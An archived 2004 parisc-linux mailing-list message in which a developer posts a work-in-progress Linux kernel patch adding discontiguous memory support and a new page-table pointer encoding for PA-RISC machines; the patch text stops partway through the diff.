	Fri,  9 Jul 2004 02:03:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14011-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Jul 2004 02:03:41 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 511A63BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jul 2004 02:03:39 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 2D615CD29F; Fri,  9 Jul 2004 01:03:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1089136958.1767.534.camel@mulgrave>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21787

> We could save space by shifting the pointers before dereferencing. 
> Since the PTE/PMD pages are page aligned, we don't actually need the
> lower 12 bits of the pointer.  Although we currently use those bits for
> page flags, all we're really interested in are valid and present bits so
> with a bit of shifting, we could make these short pointers address up to
> 42 bits, which is over the range of even the pa8800's physical memory
> capabilities (40 bits).

Thanks for the idea :) After that and a bit more debugging I am now able
to actually allocate all 32GB of memory by userspace applications on the
n4k (I ran 15 copies of a program that allocated 2GB, and wrote one byte
to each page). [1]

The new patch is attached. It shifts the phys address by 8 bits, and
uses 4 bits for flags (only 3 bits are being used now). This gives us
the capability to address 1TB of physical memory, which is probably
sufficient for now (FLW? :)

This needs some more testing on 32-bit... especially Joel's early kernel
crash problem :( but if there are other comments please let me know,
otherwise I will commit this soon (after the crash problem is fixed, of
course). The fault handler is especially rather ugly. Perhaps some asm
experts can help optimize that a bit.

thanks
randolph

[1] Interestingly, but perhaps obviously, when you kill 15 
applications that each have mapped 2GB, it takes quite a long time for
the processes to go away :)
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


Index: arch/parisc/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Kconfig,v
retrieving revision 1.19
diff -u -p -r1.19 Kconfig
--- arch/parisc/Kconfig	1 Jul 2004 18:30:36 -0000	1.19
+++ arch/parisc/Kconfig	3 Jul 2004 06:55:49 -0000
@@ -136,6 +136,15 @@ config SMP
 
 	  If you don't know what to do here, say N.
 
+config DISCONTIGMEM
+	bool "Discontiguous memory support (EXPERIMENTAL)"
+	depends on EXPERIMENTAL
+	help
+	  Say Y to support efficient handling of discontiguous physical memory,
+	  for architectures which are either NUMA (Non-Uniform Memory Access)
+	  or have huge holes in the physical address space for other reasons.
+	  See <file:Documentation/vm/numa> for more.
+
 config PREEMPT
 	bool
 #	bool "Preemptible Kernel"
Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.17
diff -u -p -r1.17 cache.c
--- arch/parisc/kernel/cache.c	30 May 2004 18:57:23 -0000	1.17
+++ arch/parisc/kernel/cache.c	3 Jul 2004 06:55:49 -0000
@@ -69,7 +69,7 @@ update_mmu_cache(struct vm_area_struct *
 {
 	struct page *page = pte_page(pte);
 
-	if (VALID_PAGE(page) && page_mapping(page) &&
+	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
 	    test_bit(PG_dcache_dirty, &page->flags)) {
 
 		flush_kernel_dcache_page(page_address(page));
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.14
diff -u -p -r1.14 entry.S
--- arch/parisc/kernel/entry.S	2 May 2004 16:16:01 -0000	1.14
+++ arch/parisc/kernel/entry.S	9 Jul 2004 07:46:24 -0000
@@ -455,20 +455,28 @@
 	/* Look up a PTE in a 2-Level scheme (faulting at each
 	 * level if the entry isn't present 
 	 *
-	 * NOTE: we use ldw even for LP64 because our pte
-	 * and pmd are allocated <4GB */
+	 * NOTE: we use ldw even for LP64, since the short pointers
+	 * can address up to 1TB
+	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
 	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
 	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
+	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
+	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
+	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	copy		\pmd,%r9
+#ifdef __LP64__
+	shld		%r9,PxD_VALUE_SHIFT,\pmd
+#else
+	shlw		%r9,PxD_VALUE_SHIFT,\pmd
+#endif
 	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	bb,>=,n		\pmd,_PAGE_PRESENT_BIT,\fault
-	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
+	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -489,10 +497,16 @@
 	copy		%r0,\pte
 	extrd,u,*=	\va,31,32,%r0
 	ldw,s		\index(\pgd),\pgd
+	extrd,u,*=	\va,31,32,%r0
+	bb,>=,n		\pgd,_PxD_PRESENT_BIT,\fault
+	extrd,u,*=	\va,31,32,%r0
+	depd		%r0,63,PxD_FLAG_SHIFT,\pgd
+	extrd,u,*=	\va,31,32,%r0
+	shld		\pgd,PxD_VALUE_SHIFT,\index
+	extrd,u,*=	\va,31,32,%r0
+	copy		\index,\pgd
 	extrd,u,*<>	\va,31,32,%r0
 	ldo		ASM_PGD_PMD_OFFSET(\pgd),\pgd
-	extrd,u,*=	\va,31,32,%r0
-	bb,>=,n		\pgd,_PAGE_PRESENT_BIT,\fault
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
Index: arch/parisc/kernel/head.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head.S,v
retrieving revision 1.6
diff -u -p -r1.6 head.S
--- arch/parisc/kernel/head.S	8 May 2004 14:12:45 -0000	1.6
+++ arch/parisc/kernel/head.S	9 Jul 2004 07:44:31 -0000
@@ -76,7 +76,8 @@ $bss_loop:
 	/* Initialize startup VM. Just map first 8 MB of memory */
 	ldil		L%PA(pg0),%r1
 	ldo		R%PA(pg0)(%r1),%r1
-	ldo		_PAGE_TABLE(%r1),%r3
+	shr		%r1,PxD_VALUE_SHIFT,%r3
+	ldo		(PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3
 
 	ldil		L%PA(swapper_pg_dir),%r4
 	ldo		R%PA(swapper_pg_dir)(%r4),%r4
@@ -86,7 +87,7 @@ $bss_loop:
 	ldo		ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4),%r4
 1:
 	stw             %r3,0(%r4)
-	ldo		ASM_PAGE_SIZE(%r3),%r3
+	ldo		(ASM_PAGE_SIZE >> PxD_VALUE_SHIFT)(%r3),%r3
 	addib,>		-1,%r1,1b
 	ldo		ASM_PGD_ENTRY_SIZE(%r4),%r4
 
Index: arch/parisc/kernel/head64.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head64.S,v
retrieving revision 1.9
diff -u -p -r1.9 head64.S
--- arch/parisc/kernel/head64.S	8 May 2004 14:12:45 -0000	1.9
+++ arch/parisc/kernel/head64.S	7 Jul 2004 05:41:57 -0000
@@ -80,7 +80,8 @@ $bss_loop:
 
 	ldil		L%PA(pmd0),%r5
 	ldo		R%PA(pmd0)(%r5),%r5
-	ldo		_PAGE_TABLE(%r5),%r3
+	shrd		%r5,PxD_VALUE_SHIFT,%r3
+	ldo		(PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3
 
 	ldil		L%PA(swapper_pg_dir),%r4
 	ldo		R%PA(swapper_pg_dir)(%r4),%r4
@@ -90,16 +91,17 @@ $bss_loop:
 
 	stw             %r3,ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4)
 
-	ldo		_PAGE_TABLE(%r1),%r3
+	shrd		%r1,PxD_VALUE_SHIFT,%r3
+	ldo		(PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3
 	ldo		ASM_PMD_ENTRY*ASM_PMD_ENTRY_SIZE(%r5),%r5
 	ldi		ASM_PT_INITIAL,%r1
 1:
 	stw		%r3,0(%r5)
-	ldo		ASM_PAGE_SIZE(%r3),%r3
+	ldo		(ASM_PAGE_SIZE >> PxD_VALUE_SHIFT)(%r3),%r3
 	addib,>		-1,%r1,1b
 	ldo		ASM_PMD_ENTRY_SIZE(%r5),%r5
 
-	ldo		_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
+	ldo             _PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
 	ldil		L%PA(pg0),%r1
 	ldo		R%PA(pg0)(%r1),%r1
 
Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/inventory.c,v
retrieving revision 1.5
diff -u -p -r1.5 inventory.c
--- arch/parisc/kernel/inventory.c	4 Jun 2004 19:36:53 -0000	1.5
+++ arch/parisc/kernel/inventory.c	4 Jul 2004 17:46:52 -0000
@@ -25,6 +25,7 @@
 #include <linux/mm.h>
 #include <asm/hardware.h>
 #include <asm/io.h>
+#include <asm/mmzone.h>
 #include <asm/pdc.h>
 #include <asm/pdcpat.h>
 #include <asm/processor.h>
Index: arch/parisc/kernel/parisc_ksyms.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.16
diff -u -p -r1.16 parisc_ksyms.c
--- arch/parisc/kernel/parisc_ksyms.c	6 Mar 2004 14:43:46 -0000	1.16
+++ arch/parisc/kernel/parisc_ksyms.c	5 Jul 2004 21:53:23 -0000
@@ -173,3 +173,9 @@ EXPORT_SYMBOL(__moddi3);
 extern void $$dyncall(void);
 EXPORT_SYMBOL($$dyncall);
 #endif
+
+#ifdef CONFIG_DISCONTIGMEM
+#include <asm/mmzone.h>
+EXPORT_SYMBOL(node_data);
+EXPORT_SYMBOL(pfnnid_map);
+#endif
Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.6
diff -u -p -r1.6 pdc_cons.c
--- arch/parisc/kernel/pdc_cons.c	19 Jan 2004 05:15:47 -0000	1.6
+++ arch/parisc/kernel/pdc_cons.c	7 Jul 2004 01:38:17 -0000
@@ -41,7 +41,7 @@
 
 /* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems. 
  * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
-#undef EARLY_BOOTUP_DEBUG
+#define EARLY_BOOTUP_DEBUG 1
 
 
 #include <linux/config.h>
Index: arch/parisc/mm/init.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/init.c,v
retrieving revision 1.6
diff -u -p -r1.6 init.c
--- arch/parisc/mm/init.c	24 May 2004 00:58:49 -0000	1.6
+++ arch/parisc/mm/init.c	9 Jul 2004 07:36:34 -0000
@@ -5,6 +5,7 @@
  *  Copyright 1999 SuSE GmbH
  *    changed by Philipp Rumpf
  *  Copyright 1999 Philipp Rumpf (prumpf@tux.org)
+ *  Copyright 2004 Randolph Chung (tausq@debian.org)
  *
  */
 
@@ -23,6 +24,7 @@
 #include <asm/pgalloc.h>
 #include <asm/tlb.h>
 #include <asm/pdc_chassis.h>
+#include <asm/mmzone.h>
 
 DEFINE_PER_CPU(struct mmu_gather, mmu_gathers);
 
@@ -32,10 +34,11 @@ extern char _end;	/* end of BSS, defined
 extern char __init_begin, __init_end;
 
 #ifdef CONFIG_DISCONTIGMEM
-struct node_map_data node_data[MAX_PHYSMEM_RANGES];
-bootmem_data_t bmem_data[MAX_PHYSMEM_RANGES];
-unsigned char *chunkmap;
-unsigned int maxchunkmap;
+struct node_map_data node_data[MAX_NUMNODES];
+bootmem_data_t bmem_data[MAX_NUMNODES];
+
+/* Support up to 512GB of physical address space */
+unsigned char pfnnid_map[512];
 #endif
 
 static struct resource data_resource = {
@@ -119,21 +122,6 @@ static void __init setup_bootmem(void)
 
 	disable_sr_hashing(); /* Turn off space register hashing */
 
-#ifdef CONFIG_DISCONTIGMEM
-	/*
-	 * The below is still true as of 2.4.2. If this is ever fixed,
-	 * we can remove this warning!
-	 */
-
-	printk(KERN_WARNING "\n\n");
-	printk(KERN_WARNING "CONFIG_DISCONTIGMEM is enabled, which is probably a mistake. This\n");
-	printk(KERN_WARNING "option can lead to heavy swapping, even when there are gigabytes\n");
-	printk(KERN_WARNING "of free memory.\n\n");
-#endif
-
-#ifdef __LP64__
-
-#ifndef CONFIG_DISCONTIGMEM
 	/*
 	 * Sort the ranges. Since the number of ranges is typically
 	 * small, and performance is not an issue here, just do
@@ -160,11 +148,10 @@ static void __init setup_bootmem(void)
 		}
 	}
 
+#ifndef CONFIG_DISCONTIGMEM
 	/*
 	 * Throw out ranges that are too far apart (controlled by
-	 * MAX_GAP). If CONFIG_DISCONTIGMEM wasn't implemented so
-	 * poorly, we would recommend enabling that option, but,
-	 * until it is fixed, this is the best way to go.
+	 * MAX_GAP).
 	 */
 
 	for (i = 1; i < npmem_ranges; i++) {
@@ -172,6 +159,11 @@ static void __init setup_bootmem(void)
 			(pmem_ranges[i-1].start_pfn +
 			 pmem_ranges[i-1].pages) > MAX_GAP) {
 			npmem_ranges = i;
+			printk("Large gap in memory detected (%ld pages). "
+			       "Consider turning on CONFIG_DISCONTIGMEM\n",
+			       pmem_ranges[i].start_pfn -
+			       (pmem_ranges[i-1].start_pfn +
+			        pmem_ranges[i-1].pages));
 			break;
 		}
 	}
@@ -194,8 +186,6 @@ static void __init setup_bootmem(void)
 		}
 	}
 
-#endif /* __LP64__ */
-
 	sysram_resource_count = npmem_ranges;
 	for (i = 0; i < sysram_resource_count; i++) {
 		struct resource *res = &sysram_resources[i];
@@ -218,6 +208,7 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
+	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -232,15 +223,16 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
+	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
+	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
 	printk(KERN_INFO "Total Memory: %ld Mb\n",mem_max >> 20);
 
 #ifndef CONFIG_DISCONTIGMEM
-
 	/* Merge the ranges, keeping track of the holes */
 
 	{
@@ -272,9 +264,18 @@ static void __init setup_bootmem(void)
 	bootmap_start_pfn = PAGE_ALIGN(__pa((unsigned long) &_end)) >> PAGE_SHIFT;
 
 #ifdef CONFIG_DISCONTIGMEM
+	for (i = 0; i < MAX_PHYSMEM_RANGES; i++) {
+		memset(NODE_DATA(i), 0, sizeof(pg_data_t));
+		NODE_DATA(i)->bdata = &bmem_data[i];
+	}
+	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
+
+	numnodes = npmem_ranges;
+
 	for (i = 0; i < npmem_ranges; i++)
-		node_data[i].pg_data.bdata = &bmem_data[i];
+		node_set_online(i);
 #endif
+
 	/*
 	 * Initialize and free the full range of memory in each range.
 	 * Note that the only writing these routines do are to the bootmap,
@@ -443,16 +444,20 @@ unsigned long pcxl_dma_start;
 
 void __init mem_init(void)
 {
-	int i;
-
 	high_memory = __va((max_pfn << PAGE_SHIFT));
-	max_mapnr = (virt_to_page(high_memory - 1) - mem_map) + 1;
 
-	num_physpages = 0;
-	mem_map = zone_table[0]->zone_mem_map;
-	for (i = 0; i < npmem_ranges; i++)
-		num_physpages += free_all_bootmem_node(NODE_DATA(i));
-	totalram_pages = num_physpages;
+#ifndef CONFIG_DISCONTIGMEM
+	max_mapnr = page_to_pfn(virt_to_page(high_memory - 1)) + 1;
+	mem_map = zone_table[ZONE_DMA]->zone_mem_map;
+	totalram_pages += free_all_bootmem();
+#else
+	{
+		int i;
+
+		for (i = 0; i < npmem_ranges; i++)
+			totalram_pages += free_all_bootmem_node(NODE_DATA(i));
+	}
+#endif
 
 	printk(KERN_INFO "Memory: %luk available\n", num_physpages << (PAGE_SHIFT-10));
 
@@ -485,6 +490,7 @@ void show_mem(void)
 	printk(KERN_INFO "Mem-info:\n");
 	show_free_areas();
 	printk(KERN_INFO "Free swap:	 %6dkB\n",nr_swap_pages<<(PAGE_SHIFT-10));
+#ifndef CONFIG_DISCONTIGMEM
 	i = max_mapnr;
 	while (i-- > 0) {
 		total++;
@@ -497,10 +503,50 @@ void show_mem(void)
 		else
 			shared += page_count(&mem_map[i]) - 1;
 	}
+#else
+	for (i = 0; i < npmem_ranges; i++) {
+		int j;
+
+		for (j = node_start_pfn(i); j < node_end_pfn(i); j++) {
+			struct page *p;
+
+			p = node_mem_map(i) + j - node_start_pfn(i);
+
+			total++;
+			if (PageReserved(p))
+				reserved++;
+			else if (PageSwapCache(p))
+				cached++;
+			else if (!page_count(p))
+				free++;
+			else
+				shared += page_count(p) - 1;
+        	}
+	}
+#endif
 	printk(KERN_INFO "%d pages of RAM\n", total);
 	printk(KERN_INFO "%d reserved pages\n", reserved);
 	printk(KERN_INFO "%d pages shared\n", shared);
 	printk(KERN_INFO "%d pages swap cached\n", cached);
+
+
+#ifdef CONFIG_DISCONTIGMEM
+	{
+		struct zonelist *zl;
+		int i, j, k;
+
+		for (i = 0; i < npmem_ranges; i++) {
+			for (j = 0; j < MAX_NR_ZONES; j++) {
+				zl = NODE_DATA(i)->node_zonelists + j;
+
+				printk("Zone list for zone %d on node %d: ", j, i);
+				for (k = 0; zl->zones[k] != NULL; k++) 
+					printk("[%d/%s] ", zl->zones[k]->zone_pgdat->node_id, zl->zones[k]->name);
+				printk("\n");
+			}
+		}
+	}
+#endif
 }
 
 
@@ -543,7 +589,7 @@ static void __init map_pages(unsigned lo
 #if PTRS_PER_PMD == 1
 		pmd = (pmd_t *)__pa(pg_dir);
 #else
-		pmd = (pmd_t *) (PAGE_MASK & pgd_val(*pg_dir));
+		pmd = (pmd_t *)pgd_address(*pg_dir);
 
 		/*
 		 * pmd is physical at this point
@@ -554,7 +600,7 @@ static void __init map_pages(unsigned lo
 			pmd = (pmd_t *) __pa(pmd);
 		}
 
-		pgd_val(*pg_dir) = _PAGE_TABLE | (unsigned long) pmd;
+		pgd_populate(NULL, pg_dir, __va(pmd));
 #endif
 		pg_dir++;
 
@@ -567,15 +613,14 @@ static void __init map_pages(unsigned lo
 			 * pg_table is physical at this point
 			 */
 
-			pg_table = (pte_t *) (PAGE_MASK & pmd_val(*pmd));
+			pg_table = (pte_t *)pmd_address(*pmd);
 			if (!pg_table) {
 				pg_table = (pte_t *)
 					alloc_bootmem_low_pages_node(NODE_DATA(0),PAGE_SIZE);
 				pg_table = (pte_t *) __pa(pg_table);
 			}
 
-			pmd_val(*pmd) = _PAGE_TABLE |
-					   (unsigned long) pg_table;
+			pmd_populate_kernel(NULL, pmd, __va(pg_table));
 
 			/* now change pg_table to kernel virtual addresses */
 
@@ -757,61 +802,26 @@ void __init paging_init(void)
 	flush_tlb_all_local();
 
 	for (i = 0; i < npmem_ranges; i++) {
-		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0, };
+		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0 };
 
+		/* We have an IOMMU, so all memory can go into a single
+		   ZONE_DMA zone. */
 		zones_size[ZONE_DMA] = pmem_ranges[i].pages;
+
 		free_area_init_node(i,NODE_DATA(i),NULL,zones_size,
-				(pmem_ranges[i].start_pfn << PAGE_SHIFT),0);
-	}
+				pmem_ranges[i].start_pfn, 0);
 
 #ifdef CONFIG_DISCONTIGMEM
-	/*
-	 * Initialize support for virt_to_page() macro.
-	 *
-	 * Note that MAX_ADDRESS is the largest virtual address that
-	 * we can map. However, since we map all physical memory into
-	 * the kernel address space, it also has an effect on the maximum
-	 * physical address we can map (MAX_ADDRESS - PAGE_OFFSET).
-	 */
-
-	maxchunkmap = MAX_ADDRESS >> CHUNKSHIFT;
-	chunkmap = (unsigned char *)alloc_bootmem(maxchunkmap);
-
-	for (i = 0; i < maxchunkmap; i++)
-	    chunkmap[i] = BADCHUNK;
-
-	for (i = 0; i < npmem_ranges; i++) {
-
-		ADJ_NODE_MEM_MAP(i) = NODE_MEM_MAP(i) - pmem_ranges[i].start_pfn;
 		{
-			unsigned long chunk_paddr;
-			unsigned long end_paddr;
-			int chunknum;
-
-			chunk_paddr = (pmem_ranges[i].start_pfn << PAGE_SHIFT);
-			end_paddr = chunk_paddr + (pmem_ranges[i].pages << PAGE_SHIFT);
-			chunk_paddr &= CHUNKMASK;
-
-			chunknum = (int)CHUNKNUM(chunk_paddr);
-			while (chunk_paddr < end_paddr) {
-				if (chunknum >= maxchunkmap)
-					goto badchunkmap1;
-				if (chunkmap[chunknum] != BADCHUNK)
-					goto badchunkmap2;
-				chunkmap[chunknum] = (unsigned char)i;
-				chunk_paddr += CHUNKSZ;
-				chunknum++;
-			}
+		    int j;
+		    for (j = (node_start_pfn(i) >> PFNNID_SHIFT);
+			 j < (node_end_pfn(i) >> PFNNID_SHIFT);
+			 j++) {
+			pfnnid_map[j] = i;
+		    }
 		}
-	}
-
-	return;
-
-badchunkmap1:
-	panic("paging_init: Physical address exceeds maximum address space!\n");
-badchunkmap2:
-	panic("paging_init: Collision in chunk map array. CHUNKSZ needs to be smaller\n");
 #endif
+	}
 }
 
 #ifdef CONFIG_PA20
Index: fs/bio.c
===================================================================
RCS file: /var/cvs/linux-2.6/fs/bio.c,v
retrieving revision 1.9
diff -u -p -r1.9 bio.c
--- fs/bio.c	23 May 2004 23:52:39 -0000	1.9
+++ fs/bio.c	3 Jul 2004 06:55:49 -0000
@@ -345,8 +345,8 @@ static int __bio_add_page(request_queue_
 	}
 
 	/* If we may be able to merge these biovecs, force a recount */
-	if(BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
-	   BIOVEC_VIRT_MERGEABLE(bvec-1, bvec))
+	if (bio->bi_vcnt && (BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
+	    BIOVEC_VIRT_MERGEABLE(bvec-1, bvec)))
 		bio->bi_flags &= ~(1 << BIO_SEG_VALID);
 
 	bio->bi_vcnt++;
Index: include/asm-parisc/assembly.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/assembly.h,v
retrieving revision 1.1
diff -u -p -r1.1 assembly.h
--- include/asm-parisc/assembly.h	29 Jul 2003 17:02:03 -0000	1.1
+++ include/asm-parisc/assembly.h	7 Jul 2004 04:53:16 -0000
@@ -110,6 +110,16 @@
 	depd,z	\r, 63-\sa, 64-\sa, \t
 	.endm
 
+	/* Shift Right - note the r and t can NOT be the same! */
+	.macro shr r, sa, t
+	extru \r, 31-\sa, 32-\sa, \t
+	.endm
+
+	/* pa20w version of shift right */
+	.macro shrd r, sa, t
+	extrd,u \r, 63-\sa, 64-\sa, \t
+	.endm
+
 	/* load 32-bit 'value' into 'reg' compensating for the ldil
 	 * sign-extension when running in wide mode.
 	 * WARNING!! neither 'value' nor 'reg' can be expressions
Index: include/asm-parisc/io.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/io.h,v
retrieving revision 1.7
diff -u -p -r1.7 io.h
--- include/asm-parisc/io.h	10 Mar 2004 19:24:49 -0000	1.7
+++ include/asm-parisc/io.h	3 Jul 2004 06:55:49 -0000
@@ -24,11 +24,6 @@ extern unsigned long parisc_vmerge_max_s
 #define virt_to_bus virt_to_phys
 #define bus_to_virt phys_to_virt
 
-/*
- * Change "struct page" to physical address.
- */
-#define page_to_phys(page)	((page - mem_map) << PAGE_SHIFT)
-
 /* Memory mapped IO */
 
 extern void * __ioremap(unsigned long offset, unsigned long size, unsigned long flags);
Index: include/asm-parisc/mmzone.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/mmzone.h,v
retrieving revision 1.1
diff -u -p -r1.1 mmzone.h
--- include/asm-parisc/mmzone.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/mmzone.h	6 Jul 2004 03:24:57 -0000
@@ -1,31 +1,89 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#ifdef CONFIG_DISCONTIGMEM
+
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+extern int npmem_ranges;
+
 struct node_map_data {
     pg_data_t pg_data;
-    struct page *adj_node_mem_map;
 };
 
 extern struct node_map_data node_data[];
-extern unsigned char *chunkmap;
-
-#define BADCHUNK                ((unsigned char)0xff)
-#define CHUNKSZ                 (256*1024*1024)
-#define CHUNKSHIFT              28
-#define CHUNKMASK               (~(CHUNKSZ - 1))
-#define CHUNKNUM(paddr)         ((paddr) >> CHUNKSHIFT)
 
 #define NODE_DATA(nid)          (&node_data[nid].pg_data)
-#define NODE_MEM_MAP(nid)       (NODE_DATA(nid)->node_mem_map)
-#define ADJ_NODE_MEM_MAP(nid)   (node_data[nid].adj_node_mem_map)
-
-#define phys_to_page(paddr) \
-	(ADJ_NODE_MEM_MAP(chunkmap[CHUNKNUM((paddr))]) \
-	+ ((paddr) >> PAGE_SHIFT))
-
-#define virt_to_page(kvaddr) phys_to_page(__pa(kvaddr))
-
-/* This is kind of bogus, need to investigate performance of doing it right */
-#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
 
-#endif /* !_PARISC_MMZONE_H */
+/*
+ * Given a kernel address, find the home node of the underlying memory.
+ */
+#define kvaddr_to_nid(kaddr)	pfn_to_nid(__pa(kaddr) >> PAGE_SHIFT)
+
+#define node_mem_map(nid)	(NODE_DATA(nid)->node_mem_map)
+#define node_start_pfn(nid)	(NODE_DATA(nid)->node_start_pfn)
+#define node_end_pfn(nid)						\
+({									\
+	pg_data_t *__pgdat = NODE_DATA(nid);				\
+	__pgdat->node_start_pfn + __pgdat->node_spanned_pages;		\
+})
+#define node_localnr(pfn, nid)		((pfn) - node_start_pfn(nid))
+
+#define local_mapnr(kvaddr)						\
+({									\
+	unsigned long __pfn = __pa(kvaddr) >> PAGE_SHIFT;		\
+	(__pfn - node_start_pfn(pfn_to_nid(__pfn)));			\
+})
+
+#define pfn_to_page(pfn)						\
+({									\
+	unsigned long __pfn = (pfn);					\
+	int __node  = pfn_to_nid(__pfn);				\
+	&node_mem_map(__node)[node_localnr(__pfn,__node)];		\
+})
+
+#define page_to_pfn(pg)							\
+({									\
+	struct page *__page = pg;					\
+	struct zone *__zone = page_zone(__page);			\
+	BUG_ON(__zone == NULL);						\
+	(unsigned long)(__page - __zone->zone_mem_map)			\
+		+ __zone->zone_start_pfn;				\
+})
+
+/* We have these possible memory map layouts:
+ * Astro: 0-3.75, 67.75-68, 4-64
+ * zx1: 0-1, 257-260, 4-256
+ * Stretch (N-class): 0-2, 4-32, 34-xxx
+ */
+
+/* Since each 1GB can only belong to one region (node), we can create
+ * an index table for pfn to nid lookup; each entry in pfnnid_map 
+ * represents 1GB, and contains the node that the memory belongs to. */
+
+#define PFNNID_SHIFT (30 - PAGE_SHIFT)
+extern unsigned char pfnnid_map[];
+
+static inline int pfn_to_nid(unsigned long pfn)
+{
+	unsigned int i;
+    unsigned char r;
+    i = pfn >> PFNNID_SHIFT;
+    r = pfnnid_map[i];
+    BUG_ON(r == 0xff);
+
+    return (int)r;
+}
+
+static inline int pfn_valid(int pfn)
+{
+	int nid = pfn_to_nid(pfn);
+
+	if (nid >= 0)
+		return (pfn < node_end_pfn(nid));
+	return 0;
+}
+
+#else /* !CONFIG_DISCONTIGMEM */
+#define MAX_PHYSMEM_RANGES 	1 
+#endif
+#endif /* _PARISC_MMZONE_H */
Index: include/asm-parisc/page.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/page.h,v
retrieving revision 1.9
diff -u -p -r1.9 page.h
--- include/asm-parisc/page.h	5 May 2004 23:02:47 -0000	1.9
